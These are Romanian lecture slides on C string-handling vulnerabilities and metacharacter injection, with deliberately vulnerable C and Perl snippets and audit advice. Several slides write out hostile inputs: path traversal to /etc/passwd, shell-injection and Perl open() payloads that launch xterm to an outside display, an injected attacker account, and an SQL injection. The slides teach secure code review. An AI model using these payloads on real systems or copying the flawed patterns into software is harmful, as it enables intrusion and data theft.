

## Securitate Software

### IV. Vulnerabilități în utilizarea și manipularea șirurilor de caractere

# Objective

- aspecte de securitate legat de cod ce manipulează șiruri de caractere
- prezentarea unor vulnerabilități ce rezulta din manipulearea metacaracterelor
  - ▶ C format string
  - ▶ shell metacharacter injection

# Continut

- 1 Manipularea sirurilor in C
  - Unbounded String Functions
  - Bounded String Functions
  - Probleme comune
- 2 Metacaractere
  - Delimitatori
  - NUL character injection
  - Trunchiere
- 3 Formate comune pentru metacaractere
  - Metacaractere pentru cai
  - C Format Strings
  - Functia Perl open()
- 4 Filtrarea metacaracterelor
  - Evitarea metacaracterelor

# Șiruri în C

- nu exista un tip de dată dedicat șirurilor de caractere
- vectori de caractere terminați cu NUL
- necesită procesarea manuală
  - ▶ alocare statică (dimensiunea maximă)
  - ▶ alocare dinamică (administrare greoaie)
- C++ ofera suport pentru șiruri
  - ▶ conversia între șiruri C++ și șiruri C necesită uneori folosirea de API C

# Funcții C pentru șiruri care nu verifică limita sirurilor - descriere și probleme

- manipularea șirurilor
- nu se ia în considerare dimensiunea buffer-ului destinație
- poate duce la *buffer overflow*
- code audit
  - ▶ analizați toate căile de execuție pentru funcții nesigure
  - ▶ determinați dacă astfel de funcții pot fi apelate în cazul în care dimensiunea sursei este mai mare decât destinația

# Funcții "scanf"

- folosită pentru citire (fișier, string)
- fiecare element specificat în *format string* e stocat într-un argument
- când se folosește "%s", vectorul care stochează șirul citit trebuie să fie destul de mare pentru a putea memora tot șirul
- aparțin API *libc* (UNIX și Windows)
- funcții similare: `__tscanf`, `wscanf`, `sscanf`, `fscanf`, `fwscanf`, `__snscanf`, `__snwscanf`

## Funcții "scanf" (II)

- exemplu cod vulnerabil

```
int read_ident(int sockfd){
    char buffer[1024];
    int sport, cport;
    char user[32], rtype[32], addinfo[32];

    if (read(sockfd, buffer, sizeof(buffer)) <= 0) {
        perror("cannot read");
        return -1;
    }

    buffer[sizeof(buffer) - 1] = '\0';

    sscanf(buffer, "%d:%d:%s:%s:%s", &sport, &cport,
           rtype, user, addinfo);
}
```

# Funcții "sprintf"

- atunci când buffer-ul destinație are dimensiunea mai mică decât datele de intrare poate apărea o vulnerabilitate *buffer overflow*
- vulnerabilitățile se datorează în principal șirurilor de intrare de dimensiune mare, șiruri care folosesc specificatorul "%s"
- aparțin API *libc* (UNIX și Windows)
- funcții similare: `_stprintf`, `_sprintf`, `_vsprintf`, `vsprintf`, `swprintf`, `vswprintf`, `_vswprintfA`, `_wswprintfW`



## Funcții "sprintf" (II)

- exemplu cod vulnerabil
- exemplu luat din modulul *Apache JRUN*

```
static void WriteToLog(jrun_request *r, const char *
    szFormat, ...) {
    va_list list;
    char szBuf[2048];

    strcpy(szBuf, r->StringRep);
    va_start();
    vsprintf(strchr(szBuf, '\\0'), szFormat, list); //!!!
    va_end();
}
```

# Funcții "strcpy"

- "faimoasă" datorită numeroaselor vulnerabilități bazate pe această familie de funcții
- copiază în destinație conținutul sursei până la caracterul NUL
- dacă buffer-ul destinație este mai mic decât sursa apare o vulnerabilitate *buffer overflow*
- aparțin API libc (UNIX și Windows)
- funcții similare: `_tcscpy`, `lstrcpyA`, `wcscpy`, `_mbscopy`

## Funcții "strcpy" (II)

- exemplu cod vulnerabil

```
char buffer[1024], username[32];  
n = read(sockfd, buffer, sizeof(buffer) - 1);  
buffer[n] = 0;  
strcpy(username, buffer); // !!!
```

# Funcții "strcat"

- similar cu *strcpy*
- aparțin API libc (UNIX și Windows)
- funcții similare: `_tcscat`, `wcscat`, `_mbscat`

## Funcții "strcat" (II)

- exemplu cod vulnerabil

```
int process_email(char *email) {  
    char username[32], domain[128], *delim;  
    int c;  
    ...  
    strcpy(domain, delim);  
    if(!strchr(delim, '.'))  
        strcat(domain, default_domain); // !!!
```

# Funcții C pentru șiruri care verifică limita șirurilor - descriere și probleme

- conceput pentru a oferi programatorilor o alternativă mai sigură la funcțiile care nu verifică limita șirurilor
- argument ce specifică lungimea maximă
- vulnerabilitățile apar datorită utilizării eronate a argumentului lungime
  - ▶ neatenție
  - ▶ input greșit
  - ▶ eroare la calculul lungimii
  - ▶ erori aritmetice
  - ▶ conversie între tipuri de date

# Funcții "snprintf"

- înlocuitor pentru *sprintf*
- aparțin API libc (UNIX și Windows)
- funcții similare: `__sntprintf`, `__snprintf`, `__vsprintf`, `vsprintf`, `__snwprintf`
- versiuni mai sigure (Windows): `__snprintf_s`, `__snwprintf_s`
- funcționalitate diferită sub Windows și Linux când se atinge limita
  - ▶ Windows: se întoarce `-1` iar șirul nu se termină cu NUL
  - ▶ UNIX: șirul se termină cu NUL și întoarce numărul de octeți ce ar fi fost scriși dacă ar fi fost destul loc
  - ▶ **Observație** (MSDN): începând cu UCRT în Visual Studio 2015 și Windows 10 funcțiile `snprintf` și `__snprintf` nu mai sunt identice
    - ★ `snprintf` respectă standardul C99

## Funcții "snprintf" (II)

- exemplu cod vulnerabil (aplicație Windows ce tratează șiruri în mod UNIX)

```
int log(int fd, char *fmt, ...) {  
    char buf[4096];  
    va_list ap;  
  
    va_start(ap, fmt);  
    n = vsnprintf(buf, sizeof(buf), fmt, ap); //!!!  
    if (n > sizeof(buf) - 2) //!!!  
        buf[sizeof(buf) - 2] = 0; //!!!  
    strcat(buf, "\\n"); //!!!  
    va_end(ap);  
    write_log(fd, buf, strlen(buf));  
}
```



## Funcții "strncpy"

- alternativa "sigură" la *strcpy*
- primește numărul maxim de octeți ce trebuie copiați în destinație
- aparțin API libc (UNIX și Windows)
- funcții similare: `_tcsncpy`, `_csncpy`, `wcsncpy`, `_mbsncpy`
- versiuni mai sigure (Windows): `strncpy_s`, `wcsncpy_s`
- nu garantează terminarea șirului destinație cu NUL în cazul în care lungimea șirului sursă este mai mare decât valoarea permisă
- folosirea unui șir care nu se termina cu NUL poate fi o vulnerabilitate

## Funcții "strncpy" (II)

- exemplu cod vulnerabil

```
int is_username_valid(char *username) {
    delim = strchr(user_name, ':');
    if (delim)
        *delim = '\0';
    ...
}

int authenticate(char *user_input) {
    char user[1024];
    strncpy(user, user_input, sizeof(user)); //!!!
    if (!is_username_valid(user))
        goto fail;
}
```

## Funcții "strncat"

- alternativa sigură la *strcat*
- aparțin API libc (UNIX și Windows)
- funcții similare: `_tcsncat`, `wcsncat`, `_mbsncat`
- aspecte neînțelese: parametrul *size* indică cât va fi copiat în buffer **nu** dimensiunea totală
- exemplu cod vulnerabil (se specifică dimensiunea totală pentru *buf*)

```
int copy_data (char *username) {  
    strcpy(buf, "username_is:_");  
    strncat(buf, username, sizeof(buf)); // !!!  
    log("%s\n", buf);  
  
    return 0;  
}
```

## Funcții "strncat" (II)

- parametrul *size* nu ține cont de caracterul NUL de la sfârșitul șirului, care este adăugat
- exemplu cod vulnerabil (off-by-one error)

```
int copy_data (char *username) {  
    strcpy(buf, "username_is:");  
    strncat(buf, username, sizeof(buf) - strlen(buf));  
    log("%s\n", buf);  
  
    return 0;  
}
```

- când parametrul *size* este dedus dintr-o formula trebuie avut în vedere erori de tipul *integer overflow / underflow*

`sizeof(buf) - strlen(buf) - 1`

## Funcții "strncpy"

- reprezintă o extensie BSD la API *libc*, remediind deficiențele *strncpy*
  - ▶ garantează terminarea șirului destinație cu NUL
- nu este așa des folosită datorită problemelor de portabilitate
- aparține API *libc* (BSD)
- code audit: dimensiunea întoarsă este lungimea șirului sursă, care poate fi mai mare decât dimensiunea șirului destinație

## Funcții "strcpy" (II)

- exemplu cod vulnerabil

```
int qualify_username (char *username) {  
    char buf[1024];  
    size_t len;  
  
    len = strcpy(buf, username, sizeof(buf));  
    strcat(buf, "@127.0.0.1", sizeof(buf) - len);  
}
```

# Funcții "strlcat"

- reprezintă o extensie BSD la API *libc*, remediind deficiențele *strncat*
  - ▶ garantează terminarea șirului destinație cu NUL
  - ▶ parametrul *size* este dimensiunea totală a șirului destinație, nu spațiul rămas (*strncat*)
- întoarce numărul total de octeți necesari pentru a crea șirul destinație (dimensiunea șir *destinație* + dimensiunea șir *sursă*)

# Unbounded copies

- exemplu cod vulnerabil

```
if (recipient == NULL) &&  
    Ustrcmp(errmess, "empty_address") != 0) {  
    uchar hname[64];  
    uchar *t = h->text;  
    uchar *tt = hname;  
    uchar *verb = US"is";  
    int len;  
  
    while (*t != ':')  
        *tt++ = *t++;  
    *tt = 0;  
}
```



## Character expansion

- apare atunci când programele codifică caractere speciale, șirul rezultat este mai lung decât cel inițial
- des întâlnit la metacaractere și la formatarea datelor pentru a le face inteligibile (human readable)
- exemplu: pentru fiecare caracter special din *src* sunt scriși doi octeți în destinație

```
int write_log (int fd, char *data, size_t len) {
    char buf[1024], *src, *dst;
    if (strlen(data) >= sizeof(buf))
        return -1;
    for (src = data, dst = buf; *src; src++) {
        if (!isprint(*src)) {
            sprintf(dst, "%02x", *src);
            dst += strlen(dst);
        } else
            *dst++ = *src;
    }
}
```

# Pointeri ce cresc greșit

- în cazul în care pointerii cresc peste limita șirului pe care operează:
  - ▶ șirul nu se termina cu NUL (rezultatul *strncpy*)
  - ▶ șirul era formatat corect (se termina cu NUL) dar se sare peste caracterul NUL
- ex 1: vulnerabil deoarece nu ține cont de faptul ca *buf* poate să nu se termine cu NUL

```
int process_email(char *email) {  
    char buf[1024], *domain;  
    strncpy(buf, email, sizeof(buf));  
    if ((domain = strchr(buf, '@')) == NULL)  
        return -1;  
    *domain++ = '\\0';  
    ...  
}
```

## Pointeri ce cresc greșit (II)

- ex 2: vulnerabil deoarece nu ține cont de faptul ca *read* nu termină *buf* cu NUL

```
char username[256], netbuf[256], *ptr;  
  
read(sockfd, netbuf, sizeof(netbuf));  
ptr = strchr(netbuf, ':');  
if (ptr)  
    *ptr++ = '\\0';  
strcpy(username, netbuf);
```

- ex 3: vulnerabil deoarece nu verifică dacă șirul se termină cu NUL

```
for (ptr = src; *ptr != '@'; ptr++);
```

- ex 4: variație pe exemplul 3

```
for (ptr = src; *ptr && *ptr != '@'; ptr++);  
ptr++;
```

## Pointeri ce cresc greșit (III)

- când programul face presupuneri asupra conținutului șirului prelucrat, atacatorul poate manipula programul
- ex 5: vulnerabil deoarece programul nu verifică dacă datele respectă formatul prelucrat

```
for (i = j = 0; str[i]; i++, j++)  
    if (str[i] == '%') {  
        str[j] = decode (str[i+1], str[i+2]);  
        i += 2;  
    } else  
        str[j] = str[i];
```

## Greșeli simple

- cu cât textul prelucrat este mai complex cu atât este mai probabil ca programatorul să facă greșeli
- o greșeală comună este folosirea incorectă a variabilelor pointer, dereferențiere greșită sau deloc
- exemplu cod vulnerabil

```
while (quoted && *cp != '\0')
    if (is_qtext((int) *cp) > 0)
        cp++;
    else if (is_quoted_pair(cp) > 0)
        cp += 2;
    ...
int is_quoted_pair (char *s) {
    int res = -1;
    int c;
    if (((s+1) != NULL) && (*s == '\\')) {
        c = (int) *(s+1);
        if (ap_iscii(c))
            res = 1;
    }
    return res;
}
```

# Metacaractere - descriere

- metadata = informație care descrie sau argumentează datele principale
  - ▶ ex. formatul de afișare
- reprezentare în interiorul textului (*in-band representation*)
  - ▶ metadatale incorporate în date
  - ▶ realizat prin caractere speciale (**metacaractere**)
  - ▶ exemple: șir terminat cu **NUL** în C, '/' în calea unui fișier, '.' în numele unei mașini (adr. IP), '@' dintr-o adresa e-mail, etc.
  - ▶ **avantaje**: scriere compactă, text mai lizibil
  - ▶ **dezavantaje**: probleme de securitate prin suprapunere (date și metadata puse în același context)
- reprezentare separată (*out-of-band representation*)
  - ▶ metadatale sunt separate de date
  - ▶ exemple: tipuri de șiruri în C++, Java, etc.
- **problemele de securitate** apar când datele de intrare conțin metacaractere care nu au fost corect filtrate

# Delimitatori

- vulnerabilități apar dacă
  - ▶ atacatorul poate introduce (în plus) caractere ce au rolul de delimitator
  - ▶ datele de intrare nu sunt filtrate
- $\implies$  *injected delimiter attacks*
- exemplu cod vulnerabil (datele nu sunt filtrate)
  - ▶ fie un format predefinit "username:password", caracterele ':' și '\n' sunt folosite pe post de delimitatori
  - ▶ dacă un utilizator *bob* ar putea furniza o parola sub forma  
"pass\natacator:pass\_atacator\n"
  - ▶ fișierul care memorează utilizatorii și parolele ar arăta  
bob:pass  
atacator:pass\_atacator
- code audit: cautați șabloanele prin care aplicația preia date de intrare (ca șir formatat) fără a le filtra
- *second order injection*: stochează datele de intrare și le interpretează mai târziu

## Exemplu cod vulnerabil

```
use CGI;
.....
$new_password = $query->param( 'password' );
open( IFH, "</opt/passwords.txt" ) || die( "$!" );
open( OFH, ">/opt/passwords.txt.tmp" ) || die( "$!" );
while( <IFH> ){
    ( $user, $pass ) = split /:/;
    if( $user ne $session_username )
        print OFH "$user:$pass\n";
    else
        print OFH "$user:$new_password\n"; // !!!
}
close( IFH );
close( OFH );
```



# Code Review

- ❶ identificați codul care tratează șiruri ce conțin metac caractere
- ❷ identificați caracterele cu rol de delimitator
- ❸ identificați și verificați dacă se face filtrare pe datele de intrare
- ❹  $\implies$  orice caracter cu rol special nefiltrat poate duce la vulnerabilități

# NUL character injection

- apare datorită diferențelor dintre C și alte limbaje de nivel înalt în tratarea șirurilor
- caracterul NUL poate să nu aibă semnificație specială în alte limbaje de nivel înalt, dar aceste limbaje pot folosi API C, pasând acestor API caracterul NUL
- vulnerabilitatea *NUL byte injection* este o problemă care nu depinde de tehnologia folosită, în final interacțiunea este cu sistemul de operare
- o vulnerabilitate apare atunci când un atacator poate include un caracter NUL într-un șir de caractere, șir care va fi tratat mai târziu în modul C
- inserând un caracter NUL atacatorul poate trunchia șiruri tratate în modul C

## Exemplu cod vulnerabil la "NUL character" injection

- ex 1: variabila *username* nu este filtrată după caracterul NULL (ex. "cmd.pl%00")

```
open(FH, ">$username.txt") || die ("$!");  
\\ se poate schimba extensia  
print FH $data;  
close(FH);
```

- ex 2: nu se verifică dacă s-a citit caracterul NUL

```
if (read(fd, buf, len) < 0)  
    return -1;  
buf[len] = '\0';  
for (p = &buf[strlen(buf)-1]; isspace(*p); p--)  
    // dacă primul octet este 0, se scrie înaintea lui buf  
    *p = '\0';
```

## Exemplu cod vulnerabil la "NUL character" injection (II)

- funcția *gets* nu se oprește la caracterul NUL

```
if (fgets(buf, sizeof(buf), fp) != NULL)
    buf[strlen(buf)-1] = '\\0';
// poate scrie inaintea lui buf
```

# Trunchiere

- reprezintă cazurile în care un șir care depășește în lungime dimensiunea unui buffer este trunchiat
- poate avea efecte vulnerabile
- ex 1: trunchierea unei extensii

```
char buf[64];  
int fd;  
  
snprintf(buf, sizeof(buf), "/data/profiles/%s.txt", username);  
fd = open(buf, O_WRONLY);  
// poate deschide un fisier fara extensia txt
```

- căile către un fișier sunt cele mai expuse la vulnerabilități de trunchiere

## Trunchiere (II)

- ex 2: vulnerabil datorită limitărilor impuse variabilei *username*
  - ▶ lungimea cerută poate fi atinsă prin repetarea caracterului "/" ("////")  
sau prin repetarea caracterelor care indică directorul curent ("././././")

```
char buf[64];  
int fd;
```

```
snprintf(buf, sizeof(buf), "/data/%s_profile.txt", username);  
fd = open(buf, O_WRONLY);
```

# Code audit pentru trunchiere

- verificați funcțiile ce ar putea trunchia șirul rezultat
- înțelegeți comportamentul
  - ▶ buffer-ul destinație este umplut?
  - ▶ buffer-ul destinație se termină cu NULL?
  - ▶ buffer-ul destinație este schimbat în cazul unei trunchieri / overflow
  - ▶ care este semnificația valorii de retur?
- exemplu *GetFullPathName* (Windows)
  - ▶ întoarce lungimea rezultatului (calea catre fișier) dacă e mai mică decât șirul destinație
  - ▶ întoarce numărul de octeți necesari dacă lungimea rezultatului depășește șirul destinație (*overflow*)
  - ▶ întoarce 0 în caz de eroare

# Formatul metacaracterelor pentru căi - context

- specific resurselor organizate ierarhic
  - ▶ căi pentru fișiere
  - ▶ căi pentru regiștrii
- calea este formată din componente aflate în ierarhie, componentele sunt separate prin delimitatori (metacaractere)
- dacă formarea căii se face pe baza datelor introduse de utilizator (date nefiltrate)
  - ▶ un atacator poate avea acces la elemente din ierarhie la care nu ar avea permisiuni
  - ▶ exemplu: *path truncation*



# File canonicalization

- fiecare fișier are o cale unică
- reprezentarea acestei căi nu este unică

```
c:\Windows\system32\calcl.exe  
\\?\Windows\system32\calc.exe  
c:\Windows\system32\drivers\..\calcl.exe  
calc.exe  
.\calc.exe  
..\calc.exe
```

- *file canonicalization* = transformarea unei căi în forma sa cea mai simplă
- specific fiecărui sistem de operare (Windows diferit de UNIX)
- cel mai exploatat vector de atac pentru *file canonicalization*: aplicația nu verifică dacă se accesează alte fișiere decât cel dorit (*directory transversal*)
  - ▶ bazat pe notația ".."
  - ▶ atacatorii accesează fișiere în afara directorului unde au permisiuni

## File canonicalization (II)

- exemplu cod vulnerabil: nu se verifică variabila *username* (un atacator poate furniza ca și date de intrare "../..../etc/passwd")

```
use CGI;

...
$username = $query->param( 'user' );
open(FH, "</users/profiles/$username") || die("$!");
print "<B>User Details For: $username</B><BR><BR>";

while (<FH>) {
    print;
    print "<BR>";
}
close(FH);
```

# Windows registry

- funcții Windows pentru manipularea înregistrărilor:
  - ▶ *RegOpenKey()*, *RegOpenKeyEx()*,
  - ▶ *RegQueryValue()*, *RegQueryValueEx()*,
  - ▶ *RegCreateKey()*, *RegCreateKeyEx()*,
  - ▶ *RegDeleteKey()*, *RegDeleteKeyEx()*, *RegDeleteValue()*
- vulnerabil la trunchierea căii către înregistrări
- exemplu cod vulnerabil la trunchiere

```
char buf[MAX_PATH];  
snprintf(buf, sizeof(buf), "\\SOFTWARE\\MyProduct\\%s\\subkey2",  
         version);  
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buf, 0, KEY_READ, &hKey);
```

- secvențele "////////" sunt reduse la "/"
- cheile sunt deschise în două etape
  - ▶ cheia / înregistrarea este deschisă
  - ▶ o anumită valoare este manipulată cu ajutorul altor funcții

## Windows registry (II)

- vulnerabil în următoarele situații:
  - ▶ atacatorul poate manipula direct valoarea cheii / înregistrării
  - ▶ atacatorul vrea să manipuleze chei, nu valorile stocate în chei
  - ▶ aplicația folosește un API de nivel înalt ce separă cheia de valorile stocate
  - ▶ numele valorii corespunde cu valoarea ce vrea să fie manipulată în altă cheie

## C Format strings

- erori în utilizarea funcțiilor din familia *printf*, *err* și *syslog*
- datele rezultat sunt formate conform unui parametru (*format string*), ce conține specificații de format
- **problema**: date de intrare nesigure sunt folosite ca și șir de formatare
- dacă un atacator poate furniza anumiți specificații de format
  - ▶ argumentele furnizate nu exista
  - ▶ — > valorile cerute se vor lua de pe stivă
  - ▶ — > **information leakage attack**
- specificatorul special "*%n*"
  - ▶ așteaptă ca și argument un pointer de tip *int*, acesta primește ca și valoare numărul de caractere afișate până acum
  - ▶ — > un atacator poate scrie valori arbitrare într-o locație de memorie arbitrară
  - ▶ — > **memory corruption attack**

# C Format strings (II)

- code audit
  - ▶ căutați toate funcțiile ce formatează șiruri și verificați să nu aveți șiruri formate de utilizator

## C Format strings - vulnerabilități

- ex 1

```
int main(int argc, char **argv) {  
    if (argc > 1)  
        printf(argv[1]);  
    return 0;  
}
```

- ex 2: *syslog* formatează suplimentar datele

```
int log_err(char *fmt, ...) {  
    char buf[BUFSIZE];  
    va_list ap;  
    va_start(ap, fmt);  
    vsnprintf(buf, sizeof(buf), fmt, ap);  
    va_end(ap);  
    syslog(LOG_NOTIC, buf);  
}
```

# Sfaturi

- argumente pentru gcc
  - ▶ *-Wall*
  - ▶ *-Wformat, -Wno-format-extra-args*
  - ▶ *-Wformat-nonliteral*



# Metacaractere shell

- context
  - ▶ aplicații care apelează alte aplicații externe pentru a realiza anumite cerințe
- în general programele sunt rulate în două moduri
  - ▶ direct, folosind o funcție *execve()* sau *CreateProcess()*
  - ▶ indirect, prin linia de comandă (shell) cu funcții precum *system()* sau *popen()*
- dacă un utilizator are acces la linia de comandă dintr-un program  $\implies$  shell metacharacter injection attack

## Metacaractere shell - exemple cod vulnerabil

- *user\_email* poate conține metacaractere *shell* ce vor fi interpretate shell

```
int send_mail(char *user_email) {  
    char buf[1024];  
    int fd;  
    char *prgname = "/usr/bin/sendmail";  
    snprintf(buf, sizeof(buf), "%s -s \"hi\" \"%s\"", prgname  
        , user_email);  
    if ((fd = popen(buf, "w")) == NULL)  
        return -1;  
    ... write mail ...  
}
```

- date de intrare vulnerabile și comanda shell rezultată

```
/bin/sh -c "/usr/bin/sendmail -s \"hi\" user@sample.com;  
xxxxxterm -display 1.2.3.4.:0"
```

# Code audit

- determinați dacă pot fi executate comenzi arbitrare via *shell metacharacter injection*
- filtrați caracterele cu interpretare specială: ';', '|', '&', '<', '>', '"', '!', '\*', '-', '/', '~', etc.
- comportamentul aplicației poate fi controlat prin variabilele system
- verificați cum interpretează datele aplicația care rulează – > *second level shell metacharacter injection attack*
  - ▶ ex. programele e-mail preiau fiecare linie ce începe cu '~' și o execută în shell

# Functia Perl open() - funcționalitate

- oferă capabilități multiple
  - ▶ deschide fișiere și procese
  - ▶ modul de deschidere al fișierelor depinde de anumite metacaractere specificate la începutul și sfârșitul numelui fișierului
- *mode characters*
  - ▶ '<' (la început): deschide fișierul pentru citire
  - ▶ '>' (la început): deschide fișierul pentru scriere, dacă nu există fișierul este creat
  - ▶ '+ <' (la început): deschide fișierul pentru citire-scriere
  - ▶ '+ >' (la început): deschide fișierul pentru citire-scriere, dacă nu există fișierul e creat
  - ▶ '>>' (la început): deschide un fișier pentru adăugare
  - ▶ '+ >>' (la început): deschide un fișier pentru adăugare, dacă nu există fișierul e creat
  - ▶ '|' (la început): argumentul este o comandă, creează *pipe* pentru a rula comanda cu drepturi de scriere
  - ▶ '|' (la sfârșit): argumentul este o comandă, creează *pipe* pentru a rula comanda cu drepturi de citire

## Exemple de cod vulnerabil

- ex 1: nume de fișier vulnerabil (ex. `'— xterm -d 1.2.3.4:0;'`)

```
open(FH, "$username.txt") || die("$!");
```

- ex 2: similar exemplu 1 (`'foo; xterm -d 1.2.3.4:0 —;'`)

```
open(FH, "/data/profiles/$username.txt") || die("$!");
```

- ex 3: nume de fișier vulnerabil ce ar permite atacatorului sa deschidă și să citească date (ex `'>log'`)

```
open(FH, "+>$username.txt") || die("$!");
```

# Filtrarea metacaracterelor - eliminarea metacaracterelor

- strategie:
  - ▶ respingerea cererilor periculoase
  - ▶ eliminarea caracterelor periculoase
- ambele variante implică filtrarea datelor primite de la utilizator, adesea folosind expresii regulate
- eliminarea caracterelor este opțiunea mai riscantă dar și mai robustă
- ex: verifică dacă există caractere ilegale în datele primite

```
if ($input_data =~ /[^a-zA-Z0-9_ ]/) {  
    print "Error: Input data contains illegal characters!";  
    exit;  
}
```

## Filtrarea metacaracterelor - eliminarea metacaracterelor (II)

- ex 2: înlocuirea caracterelor ilegale

```
$input_data =~ s/[^a-zA-Z0-9_]/g;
```

- două tipuri de filtrare

- ① **black lists:** *explicit deny*

- ② **white lists:** *explicit allow* (considerat mai restrictiv / sigur)

- ex 3: black list

```
int islegal(char *input) {  
    char *bad_chars = "\"'\\\\\\|;<>&-*";  
    for (; *input; input++)  
        if (strchr(bad_chars, *input))  
            return 0;  
    return 1;  
}
```

# Filtrarea metacaracterelor - eliminarea metacaracterelor (III)

- ex 4: white list

```
int islegal(char *input) {  
    for (; *input; input++)  
        if (!isalnum(*input) && *input != '_' && !isspace(*input))  
            return 0;  
    return 1;  
}
```



# Filtrare insuficientă

- ex: vulnerabil deoarece "\n" nu este filtrat

```
int suspicious (char *s) {  
    if (strpbrk(s, ";|&<>'\"#!()?}{~") != NULL)  
        return 1;  
    return 0;  
}
```

- trebuie să aveți în vedere diferitele implementări / versiuni ale programelor
- exemplu: când folosiți *popen*, datele sunt interpretate de *shell* și abia apoi de programul curent

# Eliminarea caracterelor

- mai periculos decât respingerea cererilor periculoase, cod expus la erori
- ex 1: vulnerabil datorită unei erori de procesare cu scopul de a elimina ".." (pentru secvențe ".././", a doua secvență nu este eliminată)

```
char* clean_path(char *input) {
    char *src, *dst;
    for (src = dst = input; *src; )
        if (src[0] == '.' && src[1] == '.' && src[2] == '/') {
            src += 3;
            memmove(dst, src, strlen(src) + 1);
            continue;
        } else
            *dst++ = *src++;
    *dst = '\0';
    return input;
}
```

## Eliminarea caracterelor (II)

- exd 2: încă vulnerabil la secvențe "...//"

```
char* clean_path(char *input) {  
    char *src, *dst;  
    for (src = dst = input; *src; )  
        if (src[0] == '.' && src[1] == '.' && src[2] == '/') {  
            memmove(dst, src+3, strlen(src+3) + 1);  
            continue;  
        } else  
            *dst++ = *src++;  
    *dst = '\\0';  
    return input;  
}
```

# Escaping Metacharacters

- metodă non-destructivă
- metodele diferă pentru diferitele formate de date, în general se adaugă un caracter care va invalida metacaracterul ilegal
- exemplu: vulnerabil deoarece caracterul "\" rămâne

```
$username =~ s/\"\'\\*/\\\\$1/g;  
$passwd =~ s/\"\'\\*/\\\\$1/g;  
$query = "SELECT * FROM users  
WHERE user='\"$username\"'  
AND pass = '\"$passwd\"'";
```

- dacă atacatorul furnizează *"bob\' OR user ="* pentru utilizator și *"\' OR 1=1"* pentru parolă, rezultatul este

```
SELECT * FROM users  
WHERE user='bob\\\' OR user =  
AND pass = '\\\' OR 1=1;
```

## Evitarea metacaracterelor - descriere

- pot fi folosite caractere codificate pentru a evita mecanismele de filtrare
- dacă se modifică datele de mai multe ori, crește probabilitatea erorilor logice de securitate

# Codificare hexazecimală

- metode de codificare URI

- ▶ un octet este codificat de caracterul ('%') urmat de doua cifre hexazecimale reprezentând valoarea acelui caracter
- ▶ pentru Unicode se pot folosi patru octeți precedați de "%u" sau "%U"

- ex 1: vulnerabil pentru date de forma "..%2F..%2Fetc%2Fpassword" ("../..etc/passwd")

```
int open_profile (char *username) {  
    if (strchr(username, '/')) { // detectia metacaracterelor  
        log ("possible attack: slashes in username");  
        return -1;  
    }  
    chdir("/data/profiles");  
    return open(hexdecode(username), O_RDONLY);  
    // codificarea datelor!!!  
}
```

## Codificare hexazecimală (II)

- soluția: decodificarea caracterelor ilegale
  - ▶ pot să apară probleme când se decodifică greșit caracterele
  - ▶ pot să apară probleme când se fac presupuneri despre datele ce urmează după caracterul "%"
- ex 2: vulnerabil deoarece se presupune că un număr nu este o literă în intervalul 'a'/'A'-'z'/'Z'

```
int convert_byte (char byte) {  
    if (byte >= 'A' && byte <= 'F')  
        return (byte - 'A') + 10;  
    else if (byte >= 'a' && byte <= 'f')  
        return (byte - 'a') + 10;  
    else  
        return (byte - '0');  
}  
  
int convert_hex (char *string) {  
    int val1, val2;  
    val1 = convert_byte(string[0]);  
    val2 = convert_byte(string[1]);  
    return (val1 << 4) | val2;  
}
```

# Bibliografie

- ① “The Art of Software Security Assessments”, chapter 8, “Strings and Metacharacters”, pp. 387 – 458
- ② “24 Deadly Sins of Software Security”, chapter 6, “Format String Problems”, Chapter 10, “Command Injection”.